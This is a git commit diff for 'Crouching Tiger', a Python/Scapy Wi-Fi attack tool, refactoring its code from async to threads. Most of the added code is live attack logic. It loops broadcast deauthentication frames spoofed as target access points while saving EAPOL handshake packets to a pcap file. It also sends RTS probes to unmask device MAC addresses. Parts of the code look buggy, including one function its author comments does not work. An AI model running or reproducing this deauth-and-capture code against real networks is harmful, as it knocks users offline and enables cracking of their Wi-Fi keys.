refactor: 🎨 0.4.0 : Code Cleanup, remove async

Removed async, clean up, updated reademe, created changelog, created attack class.

Scan function is no longer
This commit is contained in:
anoduck 2024-01-23 20:50:30 -05:00
parent 7989425675
commit 82d00bb8d2
8 changed files with 388 additions and 512 deletions

3
.gitignore vendored
View file

@ -11,6 +11,9 @@ wireless-regdb*
example.ipynb example.ipynb
config.ini config.ini
share/* share/*
Archive/*
Archive
archive.py
### Generated by gibo (https://github.com/simonwhitaker/gibo) ### Generated by gibo (https://github.com/simonwhitaker/gibo)
### https://raw.github.com/github/gitignore/4488915eec0b3a45b5c63ead28f286819c0917de/Global/Images.gitignore ### https://raw.github.com/github/gitignore/4488915eec0b3a45b5c63ead28f286819c0917de/Global/Images.gitignore

View file

@ -15,12 +15,9 @@
There are several of goals/ideal the project would like to achieve. They are: There are several of goals/ideal the project would like to achieve. They are:
* [X] Maintain a low footprint and system load
* [X] The ability to spawn attack vectors when an AP or client is available.
* [ ] Run in the background for an indefinite period if need be. * [ ] Run in the background for an indefinite period if need be.
* [ ] Provide a scanning feature used to create a properly formatted csv file to store identified * [ ] Provide a scanning feature used to create a properly formatted csv file to store identified
targets in. targets in.
* [ ] Provide a mac address sieve to identify real mac addresses in a network containing randomly generated ones.
## IMPORTANT NOTE ## IMPORTANT NOTE
@ -103,14 +100,6 @@ use_daemon = boolean(default=False)
if_type = option('create', 'switch', default='switch') if_type = option('create', 'switch', default='switch')
valid_results = string(default='ct_valid.csv') valid_results = string(default='ct_valid.csv')
channel_list = list(default=list(1, 6, 11)) channel_list = list(default=list(1, 6, 11))
# -----------------------------------------------------------
# Scan Settings
# ----------------
[SCAN]
save_results = boolean(default=false)
results_file = string(default='ct_aps.csv')
""" """
``` ```
@ -148,10 +137,6 @@ There are three types of actions that can be performed:
addresses. Then transmits a Clear to Send Frame. If the device responds with addresses. Then transmits a Clear to Send Frame. If the device responds with
data frame, then information on the device will be stored and written to file. data frame, then information on the device will be stored and written to file.
4. SCAN [scn] = Scan for target
This action only scans for the target(s) provided and writes results to a csv file
This file can later be used with the attack command.
options: options:
-h, --help show this help message and exit -h, --help show this help message and exit
-v, --version show program's version number and exit -v, --version show program's version number and exit
@ -170,7 +155,6 @@ actions:
{att,mac,scn} You must use one. {att,mac,scn} You must use one.
att Attack target att Attack target
mac Grab Valid addresses mac Grab Valid addresses
scn Scan for target
Processing will take several seconds, please be patient. Processing will take several seconds, please be patient.
``` ```

135
changelog.md Normal file
View file

@ -0,0 +1,135 @@
0.4.0 / 2024-01-23
==================
1.1.3 / 2023-12-09
==================
* breaking down into modules
* asyncio swapped for trio
* cleaning up readme
* Delete clients.csv
* Delete clients.txt
* Delete essid.txt
* Delete aps.txt
* Delete probe-iterator.py
* Delete ssids.txt
* Delete APs.csv
* added to readme
* new method of CTS vector, nicely done
* before big cleaning of new method
* Merge pull request 'classified' (#3) from classified into master
* Merge branch 'master' into classified
* corrected transport layer
* cleaned up ignore file
* Merge pull request 'classified -> master' (#2) from classified into master
* Whew, what a bitch...milestone done
* corrected log formatting
* testing
* a few hiccups
* significant improvement in class formation
* significant improvement in class formation
* Commiting to classified_dev
* added pcap to gitignore
* Working with new way to parse args for classes
* Merge pull request 'classified' (#1) from classified into master
* Stops on keyboard interrupt, like it should.
* works, be needs to be cleaned up and further classified
* Working on classes
* like a top
* better run configuration
* corrected cts frame
* sniffers both async
* added bit about unique mac.
* new configuration for macpurger stops after first sent packet.
* playing with packet intervals
* finished up and readme
* Simplification of entire process
* Cleaning up
* wrapping up cts vector
* Works, but runs forever
* Testing CTS vector
* It Works!
* returned to more sloppy code;
* should be running round robin
* stopping for the night
* fixed daemon flag
* just errrggg
* removed faker-wifi-essid dependency
* added changing of mac addresses
* logging setup, daemonizing resolved, poetry is no longer required
* added ability to daemonize
* added to readme
* no error output, time for testing
* corrected spelling of system
* troubleshooting and debugging
* wrapping up attack mode
* creation attack mode
* working on vector
* added to gitignore
* formulating attack vector
* finally receiving output from scapy.sniff()
* Hardware issues discovered
* running tests
* configured configobj
* correcting more .gitignore
* correcting .gitignore
* mods to sniff
* might be running
* invalid interface error present
* Scapy-Scan-untested
0.1.2 / 2023-10-15
==================
* Stops on keyboard interrupt, like it should.
* works, be needs to be cleaned up and further classified
* Working on classes
* like a top
* better run configuration
* corrected cts frame
* sniffers both async
* added bit about unique mac.
* new configuration for macpurger stops after first sent packet.
* playing with packet intervals
* finished up and readme
* Simplification of entire process
* Cleaning up
* wrapping up cts vector
* Works, but runs forever
* Testing CTS vector
* It Works!
* returned to more sloppy code;
roundrobin / 2023-10-03
=======================
* should be running round robin
* stopping for the night
* fixed daemon flag
* just errrggg
* removed faker-wifi-essid dependency
* added changing of mac addresses
* logging setup, daemonizing resolved, poetry is no longer required
* added ability to daemonize
* added to readme
* no error output, time for testing
* corrected spelling of system
* troubleshooting and debugging
* wrapping up attack mode
* creation attack mode
* working on vector
* added to gitignore
* formulating attack vector
* finally receiving output from scapy.sniff()
* Hardware issues discovered
* running tests
* configured configobj
* correcting more .gitignore
* correcting .gitignore
* mods to sniff
* might be running
* invalid interface error present
* Scapy-Scan-untested
* underway

22
changelog.org Normal file
View file

@ -0,0 +1,22 @@
#+TITLE: Crouching Tiger Changelog
#+DATE: Tues Jan 23, 2024
#+AUTHOR: Anoduck
#+PROJECT: Crouching Tiger
#+REPO:
#+LICENSE: MIT
#+OPTIONS: H:3 num:nil toc:nil \n:nil ::t |:t ^:t -:t f:T *:T
#+EXPORT_SELECT_TAGS: EXPORT
#+EXPORT_EXCLUDE_TAGS: noexport
# ---------------------------------------
* Changelog
** Unreleased
*** 2024.01.23
- Dropped Asynchronous processing, as it was pointless
- Moved Attack action into it's own class.
- Code cleanup.
- Removed usage of trio.
- removed trio from project file
- removed daemon from project file
- removed daemonize from project file
- corrected purge startup
- It works

513
ctiger.py
View file

@ -27,15 +27,14 @@ from faker import Faker
from art.art import tprint from art.art import tprint
from dataclasses import dataclass from dataclasses import dataclass
import multiprocessing as mp import multiprocessing as mp
import trio
import threading import threading
from random import choice from random import choice
from configobj import ConfigObj, validate from configobj import ConfigObj, validate
from collections import Counter from collections import Counter
import pandas as pd import pandas as pd
import signal import signal
import logging
from time import sleep from time import sleep
import logging
sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages')) sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
# _ _ _ ____ ___ _ ___ _ ___ ___ # _ _ _ ____ ___ _ ___ _ ___ ___
@ -52,7 +51,7 @@ pc = Counter()
fake = Faker() fake = Faker()
# fake.add_provider(WifiESSID) # fake.add_provider(WifiESSID)
VERSION = "0.3.1" VERSION = "0.4.0"
# ------------------------------------------------------------ # ------------------------------------------------------------
# ██████╗███████╗ ██████╗ ███████╗██████╗ ███████╗ ██████╗ # ██████╗███████╗ ██████╗ ███████╗██████╗ ███████╗ ██████╗
@ -90,43 +89,9 @@ use_daemon = boolean(default=False)
if_type = option('create', 'switch', default='switch') if_type = option('create', 'switch', default='switch')
valid_results = string(default='ct_valid.csv') valid_results = string(default='ct_valid.csv')
channel_list = list(default=list(1, 6, 11)) channel_list = list(default=list(1, 6, 11))
# -----------------------------------------------------------
# Scan Settings
# ----------------
[SCAN]
save_results = boolean(default=false)
results_file = string(default='ct_aps.csv')
""" """
# -----------------------------------------------------------
# ██████╗ ██████╗ ███╗ ██╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗
# ██╔══██╗██╔══██╗████╗ ██║ ██╔════╝██║ ██║████╗ ██║██╔════╝
# ██████╔╝██████╔╝██╔██╗ ██║ █████╗ ██║ ██║██╔██╗ ██║██║
# ██╔═══╝ ██╔══██╗██║╚██╗██║ ██╔══╝ ██║ ██║██║╚██╗██║██║
# ██║ ██║ ██║██║ ╚████║ ██║ ╚██████╔╝██║ ╚████║╚██████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝
# -----------------------------------------------------------
def extract_essid(layers):
retval = ''
counter = 0
try:
while True:
layer = layers[counter]
if hasattr(layer, "ID") and layer.ID == 0:
retval = layer.info.decode('utf-8')
break
else:
counter += 1
except IndexError:
pass
return retval
def extract_channel(layers): def extract_channel(layers):
retval = '' retval = ''
counter = 0 counter = 0
@ -145,98 +110,6 @@ def extract_channel(layers):
return retval return retval
# ------------------------------------------------------------
# ██████╗ ██████╗ ███╗ ██╗██████╗
# ██╔══██╗██╔══██╗████╗ ██║╚════██╗
# ██████╔╝██████╔╝██╔██╗ ██║ █████╔╝
# ██╔═══╝ ██╔══██╗██║╚██╗██║██╔═══╝
# ██║ ██║ ██║██║ ╚████║███████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝
# ------------------------------------------------------------
def PRN2(pkt):
"""Completely rewritten from the original formulation
bssid = MAC address of device (wether ap or client)
ssid = broadcast name of the device (iff ap)"""
if pkt[Dot11].type == 2:
try:
bssid = pkt[Dot11FCS].addr2
except:
bssid = pkt[Dot11].addr2
try:
# ssid = pkt[Dot11Elt).info.decode()
ssid = pkt[Dot11Elt].getattr('info').decode()
except:
ssid = extract_essid(pkt[Dot11Elt])
if len(ssid) < 1:
ssid = 'N/A'
try:
dbm_signal = pkt.dBm_AntSignal
except:
dbm_signal = "N/A"
if pkt.haslayer(Dot11Beacon):
stats = pkt[Dot11Beacon].network_stats()
channel = stats.get('channel')
crypto = stats.get('crypto')
else:
crypto = "N/A"
channel = extract_channel(pkt[Dot11Elt])
pkt_list = [bssid, ssid, dbm_signal, channel, crypto]
return pkt_list
# ------------------------------------------------------------------
# ███████╗████████╗██████╗ █████╗ ██╗███╗ ██╗███████╗██████╗
# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██╔══██╗
# ███████╗ ██║ ██████╔╝███████║██║██╔██╗ ██║█████╗ ██████╔╝
# ╚════██║ ██║ ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗
# ███████║ ██║ ██║ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
# ----------------------------------------------------------------
# print("ToDS:", frame.FCfield & 0b1 != 0)
# print("MF:", frame.FCfield & 0b10 != 0)
# print("WEP:", frame.FCfield & 0b01000000 != 0)
# print("src MAC:", frame.addr2)
# print("dest MAC:", frame.addr1)
# print("BSSID:", frame.addr3)
# print("Duration ID:", frame.ID)
# print("Sequence Control:", frame.SC)
# print(feature(frame))
# print("\n")
# ------------------------------------------------------------------
# Five choices for Duration/ID:
# 1. Calculated per packet
# 2. Or one of the following: 16383, 26370, 32767, 65535
#
# Calculated as:
# bytes = struct.pack("<H",microsec)
# timeval = struct.unpack(">H", bytes)[0]
# ------------------------------------------------------------------
def strainer(pkt) -> None:
if pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4:
bssid = pkt[Dot11FCS].addr2
log.info('BSSID for strainer: {0}'.format(bssid))
log.debug('Local Macaddr is: {0}'.format(macaddr))
idval = [16383, 26370, 32767, 65535]
durid = choice(idval)
new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11,
addr1=bssid,
addr2=macaddr,
ID=durid)
log.debug('Sending RTS frame to {0} with type 11'.format(bssid))
res = srp1(new_pkt, timeout=3, verbose=0, retry=0, threaded=True)
if res is not None:
if res[Dot11].type == 1 and res[Dot11].subtype == 12:
log.debug('Recieved CTS packet.')
log.info('Intercepted CTS from: {0}'.format(bssid))
dbm_signal = pkt.dBm_AntSignal
channel = extract_channel(res[Dot11])
scan_df.loc[bssid] = ['N/A', dbm_signal, channel, 'N/A']
scan_df.to_csv(valid_file, mode='a')
# ------------------------------------------------------------------- # -------------------------------------------------------------------
# ███╗ ██╗███████╗████████╗██████╗ ███████╗██╗ ██╗ # ███╗ ██╗███████╗████████╗██████╗ ███████╗██╗ ██╗
# ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██║ # ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██║
@ -329,13 +202,14 @@ class NetDev:
sys.exit(1) sys.exit(1)
# ---------------------------------------------------------
# ██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗ # ██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗
# ██╔══██╗██║ ██║██╔══██╗██╔════╝ ██╔════╝ # ██╔══██╗██║ ██║██╔══██╗██╔════╝ ██╔════╝
# ██████╔╝██║ ██║██████╔╝██║ ███╗█████╗ # ██████╔╝██║ ██║██████╔╝██║ ███╗█████╗
# ██╔═══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝
# ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗ # ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗
# ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ # ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
# ------------------------------------------- # ---------------------------------------------------------
@dataclass @dataclass
class Purge(object): class Purge(object):
def __init__(self, **kwargs) -> None: def __init__(self, **kwargs) -> None:
@ -360,9 +234,9 @@ class Purge(object):
print(f'name={thread.name}, daemon={thread.daemon}') print(f'name={thread.name}, daemon={thread.daemon}')
while True: while True:
ichan = choice(chans) ichan = choice(chans)
# log.debug('Hopping on: {0}'.format(ichan)) log.debug('Hopping on: {0}'.format(ichan))
os.system(f'iw dev {self.mon_if} set channel {str(ichan)}') os.system(f'iw dev {self.mon_if} set channel {str(ichan)}')
# log.debug('Channel set to {0}'.format(ichan)) log.debug('Channel set to {0}'.format(ichan))
sleep(14.7) sleep(14.7)
def send_pkt(self, bssid) -> None: def send_pkt(self, bssid) -> None:
@ -381,7 +255,7 @@ class Purge(object):
sendp(new_pkt, verbose=0) sendp(new_pkt, verbose=0)
return return
async def get_interface(self, interface, mon_type) -> str: def get_interface(self, interface, mon_type) -> str:
self.interface = interface self.interface = interface
self.mon_type = mon_type self.mon_type = mon_type
ndev = NetDev(interface=self.interface, mon_type=self.mon_type) ndev = NetDev(interface=self.interface, mon_type=self.mon_type)
@ -389,10 +263,27 @@ class Purge(object):
mon_type=self.mon_type) mon_type=self.mon_type)
return mon_if return mon_if
def extract_channel(self, layers):
retval = ''
counter = 0
try:
while True:
layer = layers[counter]
if hasattr(layer, "ID") and layer.ID == 3 and layer.len == 1:
retval = ord(layer.info)
break
else:
counter += 1
except IndexError:
pass
return retval
def cts_prn(self, pkt): def cts_prn(self, pkt):
log.info('Intercepted CTS from {0}'.format(self.bssid)) log.info('Intercepted CTS from {0}'.format(self.bssid))
dbm_signal = pkt.dBm_AntSignal dbm_signal = pkt.dBm_AntSignal
pkt_chan = extract_channel(pkt[Dot11]) pkt_chan = self.extract_channel(pkt[Dot11])
log.debug('Extracted channel: {0}'.format(pkt_chan)) log.debug('Extracted channel: {0}'.format(pkt_chan))
scan_df.loc[self.bssid] = [macaddr, dbm_signal, scan_df.loc[self.bssid] = [macaddr, dbm_signal,
pkt_chan, 'N/A'] pkt_chan, 'N/A']
@ -408,15 +299,7 @@ class Purge(object):
self.send_pkt(bssid) self.send_pkt(bssid)
return return
async def start_sniff(self, probe_sniff): def mac_revealer(self, interface, mon_type, valid_file, channels):
await probe_sniff.start()
await trio.sleep(0)
async def start_cts(self, cts_sniff):
await cts_sniff.start()
await trio.sleep(0)
async def mac_revealer(self, interface, mon_type, valid_file, channels):
log.info('mac revealer started') log.info('mac revealer started')
self.interface = interface self.interface = interface
self.mon_type = mon_type self.mon_type = mon_type
@ -426,7 +309,7 @@ class Purge(object):
global scan_df global scan_df
scan_df = get_df() scan_df = get_df()
log.info('acquired Dataframe') log.info('acquired Dataframe')
mon_if = await self.get_interface(self.interface, self.mon_type) mon_if = self.get_interface(self.interface, self.mon_type)
log.debug('mon_if: {0}'.format(mon_if)) log.debug('mon_if: {0}'.format(mon_if))
log.debug('return type: {0}'.format(type(mon_if))) log.debug('return type: {0}'.format(type(mon_if)))
self.mon_if = mon_if self.mon_if = mon_if
@ -435,123 +318,30 @@ class Purge(object):
iface=mon_if, prn=self.probe_prn, iface=mon_if, prn=self.probe_prn,
filter="type mgt subtype probe-req", filter="type mgt subtype probe-req",
monitor=True) monitor=True)
probe_sniff.start()
cts_sniff = AsyncSniffer(filter='type ctl subtype cts', cts_sniff = AsyncSniffer(filter='type ctl subtype cts',
iface=mon_if, prn=self.cts_prn, iface=mon_if, prn=self.cts_prn,
monitor=True) monitor=True)
async with trio.open_nursery() as nursery: cts_sniff.start()
nursery.start_soon(self.channel_runner, channel_thread = threading.Thread(target=self.channel_runner,
self.mon_if, self.channels) args=(self.mon_if,
nursery.start_soon(start_sniff, probe_sniff) self.channels))
nursery.start_soon(start_cts, cts_sniff) channel_thread.start()
log.info('Channel runner started.') log.info('Channel runner started.')
log.info('Probe sniffer started') log.info('Probe sniffer started')
log.info('CTS sniffer started') log.info('CTS sniffer started')
await trio.sleep(0)
def start_purge(self) -> None:
signal.signal(signal.SIGINT, signal_handler)
print('Enter Ctrl+C TWICE to fully stop the script.')
trio.run(self.mac_revealer, self.interface, self.mon_type,
self.valid_file, self.channels)
forever_wait = threading.Event()
forever_wait.wait()
# ----------------------------------------------------------------------------- def start_purge(interface, mon_type, valid_file, channels) -> None:
# ███████╗███╗ ██╗██╗███████╗███████╗ ███████╗████████╗ ██████╗ ██████╗ signal.signal(signal.SIGINT, signal_handler)
# ██╔════╝████╗ ██║██║██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ print('Enter Ctrl+C TWICE to fully stop the script.')
# ███████╗██╔██╗ ██║██║█████╗ █████╗ ███████╗ ██║ ██║ ██║██████╔╝ purge = Purge()
# ╚════██║██║╚██╗██║██║██╔══╝ ██╔══╝ ╚════██║ ██║ ██║ ██║██╔═══╝ purge.mac_revealer(interface=interface,
# ███████║██║ ╚████║██║██║ ██║ ███████║ ██║ ╚██████╔╝██║ mon_type=mon_type,
# ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ valid_file=valid_file,
# ---------------------------------------------------------------------------- channels=channels)
async def sniff_stop(pkt): forever_wait = threading.Event()
global hndshk_frag forever_wait.wait()
hndshk_frag = 0
pktdmp = PcapWriter('ctiger_handshake.pcap', append=True, sync=True)
pktdmp.write(pkt)
if EAPOL in pkt:
hndshk_frag += 1
else:
hndshk_frag = 0
if hndshk_frag >= 10:
hndshk_frag = 0
return True
# -----------------------------------------------------------------------------
# ███████╗███████╗████████╗ ██████╗██╗ ██╗ █████╗ ███╗ ██╗███╗ ██╗███████╗██╗
# ██╔════╝██╔════╝╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗████╗ ██║████╗ ██║██╔════╝██║
# ███████╗█████╗ ██║ ██║ ███████║███████║██╔██╗ ██║██╔██╗ ██║█████╗ ██║
# ╚════██║██╔══╝ ██║ ██║ ██╔══██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══╝ ██║
# ███████║███████╗ ██║ ╚██████╗██║ ██║██║ ██║██║ ╚████║██║ ╚████║███████╗███████╗
# ╚══════╝╚══════╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚══════╝
# ----------------------------------------------------------------------------
async def set_channel(interface, channel):
try:
os.system('iw dev ', interface, ' set channel ', channel)
os.system('ip link set ', interface, ' up')
log.info('Channel set to ', channel)
except:
log.debug('Failed to set channel on ', interface)
print('Failed to set channel on ', interface)
# -----------------------------------------------------------------------------
# ███████╗███████╗███████╗██████╗ ██████╗ █████╗ ████████╗██╗ ██╗███████╗██████╗
# ██╔════╝██╔════╝██╔════╝██╔══██╗ ██╔════╝ ██╔══██╗╚══██╔══╝██║ ██║██╔════╝██╔══██╗
# █████╗ █████╗ █████╗ ██║ ██║ ██║ ███╗███████║ ██║ ███████║█████╗ ██████╔╝
# ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ██║ ██║██╔══██║ ██║ ██╔══██║██╔══╝ ██╔══██╗
# ██║ ███████╗███████╗██████╔╝ ╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗██║ ██║
# ╚═╝ ╚══════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
# -----------------------------------------------------------------------------
async def feed_gather(mon_dev, targ):
while True:
fg_asf = await AsyncSniffer(stop_filter=sniff_stop, iface=mon_dev, monitor=True)
log.info('Starting pkt gather')
await fg_asf.start()
# log.info('Setting mon_dev channel to ', channel)
pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0)
await trio.sleep(1)
pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0)
await trio.sleep(1)
def grab_macs(pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 4:
if pkt.info != '':
log.debug('mac: ', pkt.addr2)
return pkt.addr2
# -------------------------------------------------------------------------------
# ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
# ██╔════╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██╔═══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗
# ██║ ███████║███████║██╔██╗ ██║ ███████║██║ ██║██████╔╝██████╔╝█████╗ ██████╔╝
# ██║ ██╔══██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗
# ╚██████╗██║ ██║██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ██║ ███████╗██║ ██║
# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
# -------------------------------------------------------------------------------
async def chan_hopper(mon_dev, channels):
log.info('Channel hopper started.')
chlist = list(set(channels))
chlist.sort()
chlist.remove(',')
chans = [int(chan) for chan in chlist]
while True:
ichan = choice(chans)
os.system('iw dev ', mon_dev, ' set channel ', str(ichan))
log.debug('Channel set to ', str(ichan))
await trio.sleep(4.7)
# return ichan
# ------------------------------------------------------------- # -------------------------------------------------------------
@ -562,35 +352,104 @@ async def chan_hopper(mon_dev, channels):
# ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗ # ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗
# ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
# ------------------------------------------------------------- # -------------------------------------------------------------
async def attack(mon_dev, scan_file): class attack:
log.info('Beginning Attack')
get_df() def __init__(self, mon_dev, scan_file, log):
targets = pd.read_csv(scan_file, index_col=0) self.mon_dev = mon_dev
tpairs = targets.drop(columns=['crypt', 'ssid']) self.scan_file = scan_file
pd_chan_list = tpairs.channel.to_list() log = log
channels = list(set(pd_chan_list))
log.debug('Channel Type: ', str(type(channels))) def sniff_stop(self, pkt):
pd_bssid_list = tpairs.bssid.to_list() global hndshk_frag
bssids = list(set(pd_bssid_list)) hndshk_frag = 0
log.info('Channel list: ', str(channels))
log.info('BSSID list: ', str(bssids)) pktdmp = PcapWriter('ctiger_handshake.pcap', append=True, sync=True)
asniff = AsyncSniffer(iface=mon_dev, prn=grab_macs, monitor=True, store=False) pktdmp.write(pkt)
asniff.start()
log.info('Starting channel hopper') if EAPOL in pkt:
while True: hndshk_frag += 1
await chan_hopper(mon_dev, channels) else:
if asniff.results is not None: hndshk_frag = 0
with await asniff.results() as ares:
for row in ares: if hndshk_frag >= 10:
if row[1] in targets: hndshk_frag = 0
log.info('Found target: ', row[1]) return True
await feed_gather(mon_dev, row)
await trio.sleep(1) def feed_gather(self, mon_dev, targ):
while True:
fg_asf = AsyncSniffer(stop_filter=self.sniff_stop,
iface=mon_dev, monitor=True)
log.info('Starting pkt gather')
fg_asf.start()
# log.info('Setting mon_dev channel to ', channel)
pkt = RadioTap()/Dot11(type=0, subtype=4,
addr1="ff:ff:ff:ff:ff:ff",
addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0)
pkt = RadioTap()/Dot11(type=0, subtype=12,
addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0)
def grab_macs(self, pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 4:
if pkt.info != '':
log.debug('mac: ', pkt.addr2)
return pkt.addr2
def chan_hopper(self, mon_dev, channels):
log.info('Channel hopper started.')
chlist = list(set(channels))
chlist.sort()
chlist.remove(',')
chans = [int(chan) for chan in chlist]
while True:
ichan = choice(chans)
iw_cmd = 'iw dev ' + mon_dev + ' set channel ' + str(ichan)
os.system(iw_cmd)
log.debug('Channel set to ', str(ichan))
sleep(14.7)
# return ichan
def attack(self, mon_dev, scan_file):
log.info('Beginning Attack')
get_df()
targets = pd.read_csv(scan_file, index_col=0)
tpairs = targets.drop(columns=['crypt', 'ssid'])
pd_chan_list = tpairs.channel.to_list()
channels = list(set(pd_chan_list))
log.debug('Channel Type: ', str(type(channels)))
pd_bssid_list = tpairs.bssid.to_list()
bssids = list(set(pd_bssid_list))
log.info('Channel list: ', str(channels))
log.info('BSSID list: ', str(bssids))
asniff = AsyncSniffer(iface=mon_dev,
prn=self.grab_macs,
monitor=True, store=False)
asniff.start()
log.info('Starting channel hopper')
while True:
ch_thread = threading.Thread(
target=self.chan_hopper,
args=(mon_dev, channels))
ch_thread.start()
if asniff.results is not None:
with asniff.results() as ares:
for row in ares:
if row[1] in targets:
log.info('Found target: ', row[1])
fg_thread = threading.Thread(
target=self.feed_gather,
args=(mon_dev, row))
fg_thread.start()
def start_attack(mondev, scan_file): def start_attack(mondev, scan_file, log):
log.info('Starting the attack') log.info('Starting the attack')
trio.run(attack, mondev, scan_file) att = attack(mondev, scan_file, log)
att.attack(mondev, scan_file)
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
@ -601,6 +460,7 @@ def start_attack(mondev, scan_file):
# ██████╔╝██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║ # ██████╔╝██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║
# ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ # ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
# ---------------------------------------------------------------------------- # ----------------------------------------------------------------------------
# This shit does not work.
def proc_attack(interface, scan_file, mon_type): def proc_attack(interface, scan_file, mon_type):
mon_dev = start_monitor(interface, mon_type) mon_dev = start_monitor(interface, mon_type)
mp.set_start_method('spawn') mp.set_start_method('spawn')
@ -616,30 +476,6 @@ def proc_attack(interface, scan_file, mon_type):
trio.run(attack, mon_dev, scan_file) trio.run(attack, mon_dev, scan_file)
# -------------------------------------------------------------
# ███████╗ ██████╗ █████╗ ███╗ ██╗
# ██╔════╝██╔════╝██╔══██╗████╗ ██║
# ███████╗██║ ███████║██╔██╗ ██║
# ╚════██║██║ ██╔══██║██║╚██╗██║
# ███████║╚██████╗██║ ██║██║ ╚████║
# ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝
# -------------------------------------------------------------
def scan_scn(interface, save_results, rfile):
scan_df = get_df()
# ssocket = conf.L2socket(iface=if_mon)
sniff_ses = sniff(prn=PRN2, iface=interface,
count=10, monitor=True)
print(str(sniff_ses))
if save_results:
scan_df.to_csv(rfile)
print('results written to file ', rfile)
else:
print(scan_df)
# stop_monitor(if_mon)
print('Done')
# -------------------------------------------------------------
# ------------------------------------------------------------- # -------------------------------------------------------------
# ██████╗ ███████╗████████╗ ██████╗ ███████╗ # ██████╗ ███████╗████████╗ ██████╗ ███████╗
# ██╔════╝ ██╔════╝╚══██╔══╝ ██╔══██╗██╔════╝ # ██╔════╝ ██╔════╝╚══██╔══╝ ██╔══██╗██╔════╝
@ -669,21 +505,34 @@ def signal_handler(signal=signal.SIGINT, frame=None) -> None:
exit(0) exit(0)
def get_log(log_file, log_level): def rotate_logfile(logfile):
logfile = os.path.abspath(log_file) log_size = os.path.getsize(logfile)
smart_size = log_size % 1024
if smart_size >= 1024:
os.remove(logfile)
def get_log(log_file):
log = log_file
lev = 'debug'
rot = True
if not os.path.exists(log):
open(log, 'a').close()
if rot:
rotate_logfile(log)
log = logging.getLogger(__name__) log = logging.getLogger(__name__)
if log.hasHandlers(): if log.hasHandlers():
log.handlers.clear() log.handlers.clear()
